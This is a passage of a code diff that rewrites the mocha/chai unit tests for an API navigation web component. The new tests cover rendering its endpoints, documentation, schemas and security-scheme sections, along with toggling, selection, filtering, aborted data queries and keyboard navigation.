-          assert.isTrue(element[hasPassiveSelection]);
+  
+        it('endpoints are opened', () => {
+          const panel = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector('.endpoints anypoint-collapse'));
+          assert.isTrue(panel.opened);
         });
-
-        it('renders the toggle in the opened state', () => {
-          const { id } = element[endpointsValue][0].methods[0];
-          element[selectMethodPassive](id);
-          const node = element.shadowRoot.querySelector('.passive-selected');
-          // @ts-ignore
-          assert.isTrue(node.parentElement.opened);
+  
+        it('renders endpoints list', () => {
+          const items = element.shadowRoot.querySelectorAll('.endpoints .list-item.endpoint');
+          // note, when the demo-api change the list of endpoints, update this value.
+          assert.lengthOf(items, 72);
         });
-      });
-
-      describe('[itemClickHandler]()', () => {
-        /** @type ApiNavigationElement */
-        let element;
-        /** @type AmfDocument */
-        let amf;
-
-        beforeEach(async () => {
-          amf = await loader.getGraph(compact, 'navigation-api');
-          element = await summaryFixture();
-          element.amf = amf;
-          await nextFrame();
+  
+        it('has endpoints title for a web API', () => {
+          const titleElm = element.shadowRoot.querySelector('.endpoints .title-h3');
+          const content = titleElm.textContent.trim();
+          assert.equal(content, 'Endpoints');
         });
-
-        it('Uses currentTarget as the target', () => {
-          const node = element.shadowRoot.querySelector('.list-item.summary');
-          const spy = sinon.spy(element, selectItem);
-
-          // @ts-ignore
-          element[itemClickHandler]({
-            currentTarget: node,
-          });
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === node);
+  
+        it('has the operations toggle button', () => {
+          const item = element.shadowRoot.querySelector('.endpoint[data-path="/arrayBody"] .toggle-button.endpoint');
+          assert.ok(item);
         });
-
-        it('Uses target as the target', () => {
-          const node = element.shadowRoot.querySelector('.list-item.summary');
-          const spy = sinon.spy(element, selectItem);
-          // @ts-ignore
-          element[itemClickHandler]({
-            target: node,
-          });
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === node);
+  
+        it('has no operations toggle button when no operations', () => {
+          const item = element.shadowRoot.querySelector('.endpoint[data-path="/orgs"] .toggle-button.endpoint');
+          assert.notOk(item, 'has no toggle button');
+          const mock = element.shadowRoot.querySelector('.endpoint[data-path="/orgs"] .endpoint-toggle-mock');
+          assert.ok(mock, 'has the mock container');
         });
-
-        it('Makes adjustments for method label', () => {
-          const node = element.shadowRoot.querySelector('.method-label');
-          const parent = node.parentNode;
-          const spy = sinon.spy(element, selectItem);
-          // @ts-ignore
-          element[itemClickHandler]({
-            target: node,
-          });
-          assert.isTrue(spy.called);
-          assert.isTrue(spy.args[0][0] === parent);
+  
+        it('operations are not rendered', () => {
+          const item = element.shadowRoot.querySelector('.endpoints .list-item.endpoint');
+          const collapse = /** @type AnypointCollapseElement */ (item.nextElementSibling);
+          assert.isFalse(collapse.opened);
         });
-      });
-
-      describe('[flushQuery]()', () => {
-        /** @type ApiNavigationElement */
-        let element;
-        /** @type AmfDocument */
-        let amf;
-
-        beforeEach(async () => {
-          amf = await loader.getGraph(compact, 'navigation-api');
-          element = await summaryFixture();
-          element.amf = amf;
-          await nextFrame();
+  
+        it('has the documentations', () => {
+          const panel = element.shadowRoot.querySelector('.documentation');
+          assert.ok(panel);
         });
-
-        it('sets the [queryValue] as a lowercase query', () => {
-          element[queryDebouncer] = true;
-          element.query = 'Files';
-          element[flushQuery]();
-          assert.equal(element[queryValue], 'files');
+  
+        it('opens the documentations section', () => {
+          const panel = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector('.documentation anypoint-collapse'));
+          assert.isTrue(panel.opened);
         });
-
-        it('Clear the query', () => {
-          element[queryDebouncer] = true;
-          element.query = '';
-          element[flushQuery]();
-          assert.equal(element[queryValue], '');
+  
+        it('has the documentation items', () => {
+          const items = element.shadowRoot.querySelectorAll('.documentation .list-item');
+          assert.lengthOf(items, 1);
         });
-      });
-
-      describe('computeRenderPath()', () => {
-        /** @type ApiNavigationElement */
-        let element;
-        /** @type AmfDocument */
-        let amf;
-
-        beforeEach(async () => {
-          amf = await loader.getGraph(compact, 'navigation-api');
-          element = await summaryFixture();
-          element.amf = amf;
-          await nextFrame();
+  
+        it('has the schemas', () => {
+          const panel = element.shadowRoot.querySelector('.schemas');
+          assert.ok(panel);
         });
-
-        it('Returns true when both arguments are true', () => {
-          const result = computeRenderPath(true, true);
-          assert.isTrue(result);
+        
+        it('opens the schemas section', () => {
+          const panel = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector('.schemas anypoint-collapse'));
+          assert.isTrue(panel.opened);
         });
-
-        it('Returns false when allowPaths is false', () => {
-          const result = computeRenderPath(false, true);
-          assert.isFalse(result);
+  
+        it('has the schemas items', () => {
+          const items = element.shadowRoot.querySelectorAll('.schemas .list-item');
+          // note, when the demo-api change the list of schemas, update this value.
+          assert.lengthOf(items, 42);
         });
+  
+        it('has the security', () => {
+          const panel = element.shadowRoot.querySelector('.security');
+          assert.ok(panel);
+        });
+  
+        it('opens the security section', () => {
+          const panel = /** @type AnypointCollapseElement */ (element.shadowRoot.querySelector('.security anypoint-collapse'));
+          assert.isTrue(panel.opened);
+        });
+  
+        it('has the security items', () => {
+          const items = element.shadowRoot.querySelectorAll('.security .list-item');
+          // note, when the demo-api change the list of security schemes, update this value.
+          assert.lengthOf(items, 23);
+        });
+      });
 
-        it('Returns false when allowPaths is not set', () => {
-          const result = computeRenderPath(undefined, true);
-          assert.isFalse(result);
+      describe('Toggling list items', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => {
+          store.amf = demoModel;
+          element = await dataFixture();
+        });
+  
+        it('toggles operations list', async () => {
+          const button = /** @type HTMLElement */ (element.shadowRoot.querySelector('.endpoint[data-path="/arrayBody"] .toggle-button.endpoint'));
+          button.click();
+          await nextFrame();
+          assert.deepEqual(element[openedEndpointsValue], [button.dataset.graphId], 'adds endpoint item to [openedEndpointsValue]');
+          const collapse = /** @type AnypointCollapseElement */ (button.parentElement.nextElementSibling);
+          assert.isTrue(collapse.opened, 'the children collapse is opened');
+        });
+  
+        it('toggles back operations list', async () => {
+          const button = /** @type HTMLElement */ (element.shadowRoot.querySelector('.endpoint[data-path="/arrayBody"] .toggle-button.endpoint'));
+          button.click();
+          await nextFrame();
+          button.click();
+          await nextFrame();
+          assert.deepEqual(element[openedEndpointsValue], [], 'removes the endpoint from [openedEndpointsValue]');
+          const collapse = /** @type AnypointCollapseElement */ (button.parentElement.nextElementSibling);
+          assert.isFalse(collapse.opened, 'the children collapse is closed');
+        });
+  
+        it('does not select an item when toggling operations', async () => {
+          const button = /** @type HTMLElement */ (element.shadowRoot.querySelector('.endpoint[data-path="/arrayBody"] .toggle-button.endpoint'));
+          button.click();
+          await nextFrame();
+          assert.isUndefined(element.domainId);
+        });
+  
+        it('toggles endpoints section', async () => {
+          const title = /** @type HTMLElement */ (element.shadowRoot.querySelector('.endpoints .section-title'));
+          title.click();
+          await nextFrame();
+          // it is initially opened
+          assert.isFalse(element.endpointsOpened, 'endpointsOpened is updated');
+          const collapse = /** @type AnypointCollapseElement */ (title.nextElementSibling);
+          assert.isFalse(collapse.opened, 'collapse is closed')
+        });
+  
+        it('toggles documentations section', async () => {
+          const title = /** @type HTMLElement */ (element.shadowRoot.querySelector('.documentation .section-title'));
+          title.click();
+          await nextFrame();
+          // it is initially opened
+          assert.isFalse(element.documentationsOpened, 'documentationsOpened is updated');
+          const collapse = /** @type AnypointCollapseElement */ (title.nextElementSibling);
+          assert.isFalse(collapse.opened, 'collapse is closed')
+        });
+  
+        it('toggles schemas section', async () => {
+          const title = /** @type HTMLElement */ (element.shadowRoot.querySelector('.schemas .section-title'));
+          title.click();
+          await nextFrame();
+          // it is initially opened
+          assert.isFalse(element.schemasOpened, 'schemasOpened is updated');
+          const collapse = /** @type AnypointCollapseElement */ (title.nextElementSibling);
+          assert.isFalse(collapse.opened, 'collapse is closed')
+        });
+  
+        it('toggles security section', async () => {
+          const title = /** @type HTMLElement */ (element.shadowRoot.querySelector('.security .section-title'));
+          title.click();
+          await nextFrame();
+          // it is initially opened
+          assert.isFalse(element.securityOpened, 'securityOpened is updated');
+          const collapse = /** @type AnypointCollapseElement */ (title.nextElementSibling);
+          assert.isFalse(collapse.opened, 'collapse is closed')
         });
+      });
 
-        it('Returns false when renderPath is false', () => {
-          const result = computeRenderPath(true, false);
-          assert.isFalse(result);
+      describe('Selecting items', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await dataFixture() 
+        });
+  
+        it('selects the summary', async () => {
+          const item = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.summary'));
+          item.click();
+          await nextFrame();
+          assert.equal(element.domainId, 'summary', 'domainId is set');
+          assert.equal(element.domainType, 'summary', 'domainType is set');
+          assert.isTrue(element.selectedItem === item, 'selectedItem is set');
+          assert.isTrue(item.classList.contains('selected'), 'the list item has the selected class');
+        });
+  
+        it('selects an endpoint', async () => {
+          const item = /** @type HTMLElement */ (element.shadowRoot.querySelector('.endpoint[data-path="/people"]'));
+          item.click();
+          await nextFrame();
+          assert.equal(element.domainId, item.dataset.graphId, 'domainId is set');
+          assert.equal(element.domainType, 'resource', 'domainType is set');
+          assert.isTrue(element.selectedItem === item, 'selectedItem is set');
+          assert.isTrue(item.classList.contains('selected'), 'the list item has the selected class');
         });
+  
+        it('selects an operation', async () => {
+          const endpoint = /** @type HTMLElement */ (element.shadowRoot.querySelector('.endpoint[data-path="/people"]'));
+          const collapse = /** @type AnypointCollapseElement */ (endpoint.nextElementSibling);
+          const item = /** @type HTMLElement */ (collapse.querySelector('.list-item.operation'));
+          item.click();
+          await nextFrame();
+          assert.equal(element.domainId, item.dataset.graphId, 'domainId is set');
+          assert.equal(element.domainType, 'operation', 'domainType is set');
+          assert.isTrue(element.selectedItem === item, 'selectedItem is set');
+          assert.isTrue(item.classList.contains('selected'), 'the list item has the selected class');
+        });
+  
+        it('selects a documentation', async () => {
+          const item = /** @type HTMLElement */ (element.shadowRoot.querySelector('.documentation anypoint-collapse .list-item'));
+          item.click();
+          await nextFrame();
+          assert.equal(element.domainId, item.dataset.graphId, 'domainId is set');
+          assert.equal(element.domainType, 'documentation', 'domainType is set');
+          assert.isTrue(element.selectedItem === item, 'selectedItem is set');
+          assert.isTrue(item.classList.contains('selected'), 'the list item has the selected class');
+        });
+  
+        it('selects a schema', async () => {
+          const item = /** @type HTMLElement */ (element.shadowRoot.querySelector('.schemas anypoint-collapse .list-item'));
+          item.click();
+          await nextFrame();
+          assert.equal(element.domainId, item.dataset.graphId, 'domainId is set');
+          assert.equal(element.domainType, 'schema', 'domainType is set');
+          assert.isTrue(element.selectedItem === item, 'selectedItem is set');
+          assert.isTrue(item.classList.contains('selected'), 'the list item has the selected class');
+        });
+  
+        it('selects a security', async () => {
+          const item = /** @type HTMLElement */ (element.shadowRoot.querySelector('.security anypoint-collapse .list-item'));
+          item.click();
+          await nextFrame();
+          assert.equal(element.domainId, item.dataset.graphId, 'domainId is set');
+          assert.equal(element.domainType, 'security', 'domainType is set');
+          assert.isTrue(element.selectedItem === item, 'selectedItem is set');
+          assert.isTrue(item.classList.contains('selected'), 'the list item has the selected class');
+        });
+  
+        it('deselects previously selected item', async () => {
+          const security = /** @type HTMLElement */ (element.shadowRoot.querySelector('.security anypoint-collapse .list-item'));
+          security.click();
+          await nextFrame();
+          const schema = /** @type HTMLElement */ (element.shadowRoot.querySelector('.schemas anypoint-collapse .list-item'));
+          schema.click();
+          await nextFrame();
+          assert.isFalse(security.classList.contains('selected'));
+        });
+      });
 
-        it('Returns false when renderPath is not set', () => {
-          const result = computeRenderPath(true, undefined);
-          assert.isFalse(result);
+      describe('select()', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await dataFixture() 
+        });
+  
+        it('selects an item via the "select()" method', async () => {
+          const security = /** @type HTMLElement */ (element.shadowRoot.querySelector('.security anypoint-collapse .list-item'));
+          const { graphId } = security.dataset;
+          element.select(graphId);
+          await nextFrame();
+          assert.equal(element.domainId, graphId, 'domainId is set');
+          assert.isTrue(security.classList.contains('selected'), 'the list item has the selected class');
+        });
+  
+        it('ignores selection when no argument', async () => {
+          element.select(undefined);
+          await nextFrame();
+          assert.equal(element.domainId, undefined);
+        });
+  
+        it('ignores selection when no menu item', async () => {
+          element.select('some');
+          await nextFrame();
+          assert.equal(element.domainId, undefined);
+        });
+      });
+  
+      describe('Filtering', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await dataFixture() 
+        });
+  
+        it('queries endpoints', async () => {
+          element.query = '/orgs';
+          await nextFrame();
+          const items = element.shadowRoot.querySelectorAll('.list-item.endpoint');
+          assert.lengthOf(items, 3, 'has only endpoints with /orgs path');
+        });
+  
+        it('queries operations', async () => {
+          element.query = 'remove a person';
+          await nextFrame();
+          const items = element.shadowRoot.querySelectorAll('.list-item.endpoint');
+          assert.lengthOf(items, 1, 'has only the /people/{personId} endpoint');
+          const collapse = items[0].nextElementSibling;
+          const ops = collapse.querySelectorAll('.list-item.operation');
+          assert.lengthOf(ops, 1, 'has only the DELETE operation');
+        });
+  
+        it('queries documentation', async () => {
+          element.query = 'Test';
+          await nextFrame();
+          const items = element.shadowRoot.querySelectorAll('.list-item.documentation');
+          assert.lengthOf(items, 1, 'has the only documentation');
+        });
+  
+        it('queries schemas', async () => {
+          element.query = 'error';
+          await nextFrame();
+          const items = element.shadowRoot.querySelectorAll('.list-item.schema');
+          assert.lengthOf(items, 1, 'has only the ErrorResource schema');
+        });
+  
+        it('queries security', async () => {
+          element.query = 'oAuth';
+          await nextFrame();
+          const items = element.shadowRoot.querySelectorAll('.list-item.security');
+          assert.lengthOf(items, 14, 'has only the OAuth2.0 security');
         });
 
-        it('Returns false when both undefined', () => {
-          const result = computeRenderPath(false, false);
-          assert.isFalse(result);
+        it('Filters from the search input (search event)', async () => {
+          const input = /** @type HTMLInputElement */ (element.shadowRoot.querySelector('.filter-wrapper input'));
+          input.value = 'oAuth';
+          input.dispatchEvent(new Event('search'));
+          await nextFrame();
+          const items = element.shadowRoot.querySelectorAll('.list-item.security');
+          assert.lengthOf(items, 14, 'has only the OAuth2.0 security');
         });
+  
+        it('Filters from the search input (change event)', async () => {
+          const input = /** @type HTMLInputElement */ (element.shadowRoot.querySelector('.filter-wrapper input'));
+          input.value = 'oAuth';
+          input.dispatchEvent(new Event('change'));
+          await nextFrame();
+          const items = element.shadowRoot.querySelectorAll('.list-item.security');
+          assert.lengthOf(items, 14, 'has only the OAuth2.0 security');
+        });
+  
+        it('clears the filtered results when removing the input value', async () => {
+          const input = /** @type HTMLInputElement */ (element.shadowRoot.querySelector('.filter-wrapper input'));
+          input.value = 'oAuth';
+          input.dispatchEvent(new Event('change'));
+          await nextFrame();
+          input.value = '';
+          input.dispatchEvent(new Event('change'));
+          await nextFrame();
+          const items = element.shadowRoot.querySelectorAll('.list-item.security');
+          assert.lengthOf(items, 23, 'has all security');
+        });
+      });
 
-        it('Paths are hidden by default', () => {
-          const endpoint = loader.lookupEndpoint(amf, '/about');
-          const id = endpoint['@id'];
-          const node = element.shadowRoot.querySelector(
-            `.endpoint[data-endpoint-id="${id}"] .path-name`
-          );
-          assert.notOk(node);
+      describe('querying API data', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await noSortingFixture(); 
+        });
+  
+        it('sets the documentMeta', async () => {
+          element[documentMetaValue] = undefined;
+          const ctrl = new AbortController();
+          await element[queryApi](ctrl.signal);
+          assert.typeOf(element.documentMeta, 'object');
         });
+  
+        it('ignores setting values when signal aborted', async () => {
+          element[documentMetaValue] = undefined;
+          const ctrl = new AbortController();
+          const p = element[queryApi](ctrl.signal);
+          ctrl.abort();
+          await p;
+          assert.isUndefined(element.documentMeta);
+        });
+  
+        it('dispatches error event when query error', async () => {
+          element.addEventListener(EventTypes.Api.documentMeta, 
+            /**
+             * @param {CustomEvent} e 
+             */
+            function f(e) {
+              element.removeEventListener(EventTypes.Api.documentMeta, f);
+              e.stopPropagation();
+              e.preventDefault();
+              e.detail.result = Promise.reject(new Error('test'));
+            });
+          const spy = sinon.spy();
+          element.addEventListener(EventTypes.Reporting.error, spy);
+          const ctrl = new AbortController();
+          await element[queryApi](ctrl.signal);
+          assert.isTrue(spy.called);
+        });
+      });
 
-        it('Renders paths when "allowPaths" is set', async () => {
-          element.allowPaths = true;
-          await nextFrame();
-          const endpoint = loader.lookupEndpoint(amf, '/about');
-          const id = endpoint['@id'];
-          const node = element.shadowRoot.querySelector(
-            `.endpoint[data-endpoint-id="${id}"] .path-name`
-          );
-          assert.ok(node);
+      describe('querying endpoints data', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await noSortingFixture(); 
+        });
+  
+        it('sets the [sourceEndpointsValue]', async () => {
+          element[sourceEndpointsValue] = undefined;
+          const ctrl = new AbortController();
+          await element[queryEndpoints](ctrl.signal);
+          assert.typeOf(element[sourceEndpointsValue], 'array');
+        });
+  
+        it('ignores setting values when signal aborted', async () => {
+          element[sourceEndpointsValue] = undefined;
+          const ctrl = new AbortController();
+          const p = element[queryEndpoints](ctrl.signal);
+          ctrl.abort();
+          await p;
+          assert.isUndefined(element[sourceEndpointsValue]);
+        });
+  
+        it('ignores setting values when signal aborted (pre-execution)', async () => {
+          element[sourceEndpointsValue] = undefined;
+          const ctrl = new AbortController();
+          ctrl.abort();
+          await element[queryEndpoints](ctrl.signal);
+          assert.isUndefined(element[sourceEndpointsValue]);
+        });
+  
+        it('dispatches error event when query error', async () => {
+          element.addEventListener(EventTypes.Endpoint.list, 
+            /**
+             * @param {CustomEvent} e 
+             */
+            function f(e) {
+              element.removeEventListener(EventTypes.Endpoint.list, f);
+              e.stopPropagation();
+              e.preventDefault();
+              e.detail.result = Promise.reject(new Error('test'));
+            });
+          const spy = sinon.spy();
+          element.addEventListener(EventTypes.Reporting.error, spy);
+          const ctrl = new AbortController();
+          await element[queryEndpoints](ctrl.signal);
+          assert.isTrue(spy.called);
         });
       });
 
-      describe('AsyncAPI', () => {
-        /** @type ApiNavigationElement */
-        let element;
-        /** @type AmfDocument */
-        let amf;
+      describe('querying the documentation data', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await noSortingFixture(); 
+        });
+  
+        it('sets the [documentationsValue]', async () => {
+          element[documentationsValue] = undefined;
+          const ctrl = new AbortController();
+          await element[queryDocumentations](ctrl.signal);
+          assert.typeOf(element[documentationsValue], 'array');
+        });
+  
+        it('ignores setting values when signal aborted', async () => {
+          element[documentationsValue] = undefined;
+          const ctrl = new AbortController();
+          const p = element[queryDocumentations](ctrl.signal);
+          ctrl.abort();
+          await p;
+          assert.isUndefined(element[documentationsValue]);
+        });
+  
+        it('ignores setting values when signal aborted (pre-execution)', async () => {
+          element[documentationsValue] = undefined;
+          const ctrl = new AbortController();
+          ctrl.abort();
+          await element[queryDocumentations](ctrl.signal);
+          assert.isUndefined(element[documentationsValue]);
+        });
+  
+        it('dispatches error event when query error', async () => {
+          element.addEventListener(EventTypes.Documentation.list, 
+            /**
+             * @param {CustomEvent} e 
+             */
+            function f(e) {
+              element.removeEventListener(EventTypes.Documentation.list, f);
+              e.stopPropagation();
+              e.preventDefault();
+              e.detail.result = Promise.reject(new Error('test'));
+            });
+          const spy = sinon.spy();
+          element.addEventListener(EventTypes.Reporting.error, spy);
+          const ctrl = new AbortController();
+          await element[queryDocumentations](ctrl.signal);
+          assert.isTrue(spy.called);
+        });
+      });
+  
+      describe('querying the schema data', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await noSortingFixture(); 
+        });
+  
+        it('sets the [schemasValue]', async () => {
+          element[schemasValue] = undefined;
+          const ctrl = new AbortController();
+          await element[querySchemas](ctrl.signal);
+          assert.typeOf(element[schemasValue], 'array');
+        });
+  
+        it('ignores setting values when signal aborted', async () => {
+          element[schemasValue] = undefined;
+          const ctrl = new AbortController();
+          const p = element[querySchemas](ctrl.signal);
+          ctrl.abort();
+          await p;
+          assert.isUndefined(element[schemasValue]);
+        });
+  
+        it('ignores setting values when signal aborted (pre-execution)', async () => {
+          element[schemasValue] = undefined;
+          const ctrl = new AbortController();
+          ctrl.abort();
+          await element[querySchemas](ctrl.signal);
+          assert.isUndefined(element[schemasValue]);
+        });
+  
+        it('dispatches error event when query error', async () => {
+          element.addEventListener(EventTypes.Type.list, 
+            /**
+             * @param {CustomEvent} e 
+             */
+            function f(e) {
+              element.removeEventListener(EventTypes.Type.list, f);
+              e.stopPropagation();
+              e.preventDefault();
+              e.detail.result = Promise.reject(new Error('test'));
+            });
+          const spy = sinon.spy();
+          element.addEventListener(EventTypes.Reporting.error, spy);
+          const ctrl = new AbortController();
+          await element[querySchemas](ctrl.signal);
+          assert.isTrue(spy.called);
+        });
+      });
+  
+      describe('querying the security data', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await noSortingFixture(); 
+        });
+  
+        it('sets the [securityValue]', async () => {
+          element[securityValue] = undefined;
+          const ctrl = new AbortController();
+          await element[querySecurity](ctrl.signal);
+          assert.typeOf(element[securityValue], 'array');
+        });
+  
+        it('ignores setting values when signal aborted', async () => {
+          element[securityValue] = undefined;
+          const ctrl = new AbortController();
+          const p = element[querySecurity](ctrl.signal);
+          ctrl.abort();
+          await p;
+          assert.isUndefined(element[securityValue]);
+        });
+  
+        it('ignores setting values when signal aborted (pre-execution)', async () => {
+          element[securityValue] = undefined;
+          const ctrl = new AbortController();
+          ctrl.abort();
+          await element[querySecurity](ctrl.signal);
+          assert.isUndefined(element[securityValue]);
+        });
+  
+        it('dispatches error event when query error', async () => {
+          element.addEventListener(EventTypes.Security.list, 
+            /**
+             * @param {CustomEvent} e 
+             */
+            function f(e) {
+              element.removeEventListener(EventTypes.Security.list, f);
+              e.stopPropagation();
+              e.preventDefault();
+              e.detail.result = Promise.reject(new Error('test'));
+            });
+          const spy = sinon.spy();
+          element.addEventListener(EventTypes.Reporting.error, spy);
+          const ctrl = new AbortController();
+          await element[querySecurity](ctrl.signal);
+          assert.isTrue(spy.called);
+        });
+      });
 
-        beforeEach(async () => {
-          amf = await loader.getGraph(compact, asyncApi);
-          element = await basicFixture();
-          element.amf = amf;
+      describe('keyboard navigation', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await dataFixture();
+        });
+  
+        it('focuses on the summary when menu is focused', async () => {
+          element.focus();
+          await nextFrame()
+          const node = element.shadowRoot.querySelector('.summary .list-item');
+          assert.equal(element.focusedItem, node, 'element.focusedItem is the summary');
+        });
+  
+        it('focuses on the endpoints when menu is focused and no summary', async () => {
+          element.summary = false;
+          await nextFrame()
+          element.focus();
+          await nextFrame()
+          const node = element.shadowRoot.querySelector('.endpoints .section-title');
+          assert.equal(element.focusedItem, node, 'element.focusedItem is first item');
+        });
+  
+        it('selected item gets focus when menu is focused', async () => {
+          const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
+          node.click();
+          window.focus();
+          await nextFrame();
+          element.focus();
+          assert.equal(element.focusedItem, node, 'element.focusedItem is first item');
+        });
+  
+        it('focuses on the previous item on up keydown', async () => {
+          element.focus();
+          await nextFrame();
+          // Key press up
+          element.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            keyCode: 38,
+            key: 'ArrowUp',
+            code: 'ArrowUp',
+          }));
+          await nextFrame();
+          const security = element.shadowRoot.querySelectorAll('.security .list-item.security');
+          const node = security[security.length - 1];
+          assert.equal(element.focusedItem, node, 'element.focusedItem is last item');
+        });
+  
+        it('focuses on the next item on down keydown', async () => {
+          element.focus();
+          await nextFrame();
+          // Key press down
+          element.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            keyCode: 40,
+            key: 'ArrowDown',
+            code: 'ArrowDown',
+          }));
+          await nextFrame();
+          const node = element.shadowRoot.querySelector('.endpoints > .section-title');
+          assert.equal(element.focusedItem, node, 'element.focusedItem is last item');
+        });
+  
+        it('keyboard events should not bubble', async () => {
+          let keyCounter = 0;
+          element.parentElement.addEventListener('keydown', event => {
+            if (event.key === 'Escape') {
+              keyCounter++;
+            }
+            if (event.key === 'ArrowUp') {
+              keyCounter++;
+            }
+            if (event.key === 'ArrowDown') {
+              keyCounter++;
+            }
+          });
+          // up
+          element.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            keyCode: 40,
+            key: 'ArrowDown',
+            code: 'ArrowDown',
+          }));
+          // down
+          element.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            keyCode: 38,
+            key: 'ArrowUp',
+            code: 'ArrowUp',
+          }));
+          // esc
+          element.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            keyCode: 27,
+            key: 'Escape',
+            code: 'Escape',
+          }));
+          await nextFrame();
+          assert.equal(keyCounter, 0);
+        });
+  
+        it('selects an operation item with the space bar', () => {
+          const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
+          node.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            composed: true,
+            keyCode: 32,
+            key: ' ',
+            code: 'Space',
+          }));
+          assert.equal(element.domainId, node.dataset.graphId);
+        });
+  
+        it('selects an operation item with the Enter', () => {
+          const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.operation'));
+          node.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            composed: true,
+            keyCode: 13,
+            key: 'Enter',
+            code: 'Enter',
+          }));
+          assert.equal(element.domainId, node.dataset.graphId);
+        });
+  
+        it('selects an endpoint with space bar', async() => {
+          const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.endpoint'));
+          node.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            composed: true,
+            keyCode: 32,
+            key: ' ',
+            code: 'Space',
+          }));
+          assert.equal(element.domainId, node.dataset.graphId);
+        });
+  
+        it('opens an endpoint when arrow right', async() => {
+          const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.endpoint'));
+          node.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            composed: true,
+            keyCode: 39,
+            key: 'ArrowRight',
+            code: 'ArrowRight',
+          }));
+          await nextFrame();
+          const collapse = /** @type AnypointCollapseElement */ (node.nextElementSibling);
+          assert.isTrue(collapse.opened);
+        });
+  
+        it('closes an endpoint when arrow left', async() => {
+          const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.endpoint'));
+          node.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            composed: true,
+            keyCode: 39,
+            key: 'ArrowRight',
+            code: 'ArrowRight',
+          }));
+          await nextFrame();
+          node.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            composed: true,
+            keyCode: 37,
+            key: 'ArrowLeft',
+            code: 'ArrowLeft',
+          }));
           await nextFrame();
+          const collapse = /** @type AnypointCollapseElement */ (node.nextElementSibling);
+          assert.isFalse(collapse.opened);
+        });
+  
+        it('toggles a section with space bar', async() => {
+          const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.endpoints .section-title'));
+          node.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            composed: true,
+            keyCode: 32,
+            key: ' ',
+            code: 'Space',
+          }));
+          await nextFrame();
+          const collapse = /** @type AnypointCollapseElement */ (node.nextElementSibling);
+          // initially opened
+          assert.isFalse(collapse.opened);
+        });
+  
+        it('removes focus on shift+tab', async () => {
+          element.focus();
+          await nextFrame();
+          // Key press 'Tab'
+          element.dispatchEvent(new KeyboardEvent('keydown', {
+            bubbles: true,
+            cancelable: true,
+            composed: true,
+            keyCode: 9,
+            key: 'Tab',
+            code: 'Tab',
+            shiftKey: true,
+          }));
+          assert.equal(element.getAttribute('tabindex'), '-1');
+          assert.isTrue(element[shiftTabPressedValue]);
+          assert.equal(element[focusedItemValue], null);
+          await aTimeout(1);
+          assert.isFalse(element[shiftTabPressedValue]);
+          assert.equal(element.getAttribute('tabindex'), '0');
+        });
+      });
+  
+      describe('expandAll()', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await dataFixture();
+        });
+  
+        it('sets all sections opened', () => {
+          element.expandAll();
+          assert.isTrue(element.endpointsOpened, 'endpointsOpened is set');
+          assert.isTrue(element.schemasOpened, 'schemasOpened is set');
+          assert.isTrue(element.securityOpened, 'securityOpened is set');
+          assert.isTrue(element.documentationsOpened, 'documentationsOpened is set');
+        });
+  
+        it('calls expandAllEndpoints()', () => {
+          const spy = sinon.spy(element, 'expandAllEndpoints');
+          element.expandAll();
+          assert.isTrue(spy.called);
+        });
+      });
+  
+      describe('collapseAll()', () => {
+        let element = /** @type ApiNavigationElement */ (null);
+        beforeEach(async () => { 
+          store.amf = demoModel;
+          element = await dataFixture();
+        });
+  
+        it('sets all sections opened', () => {
+          element.collapseAll();
+          assert.isFalse(element.endpointsOpened, 'endpointsOpened is set');
+          assert.isFalse(element.schemasOpened, 'schemasOpened is set');
+          assert.isFalse(element.securityOpened, 'securityOpened is set');
+          assert.isFalse(element.documentationsOpened, 'documentationsOpened is set');
